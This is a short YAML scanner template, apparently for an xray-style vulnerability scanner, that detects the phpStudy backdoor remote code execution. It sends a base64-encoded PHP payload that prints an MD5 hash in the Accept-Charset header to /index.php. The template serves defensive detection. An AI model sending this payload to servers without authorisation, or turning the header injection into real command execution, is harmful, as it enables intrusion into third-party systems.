phpstudy-backdoor-rce: Phpstudy backdoor rce

id: phpstudy-backdoor-rce

info:
  name: Phpstudy backdoor rce
  author: 17bdw
  severity: critical
  description: |-
    Phpstudy backdoor rce vulnerability
  tags: phpstudy,rce
  created: 2023/10/13

set:
  r: randomLowercase(6)
  payload: base64("printf(md5('" + r + "'));")
rules:
  r0:
    request:
      method: GET
      path: /index.php
      headers:
        Accept-Charset: "{{payload}}"
        Accept-Encoding: gzip,deflate
    expression: response.body.bcontains(bytes(md5(r)))
expression: r0()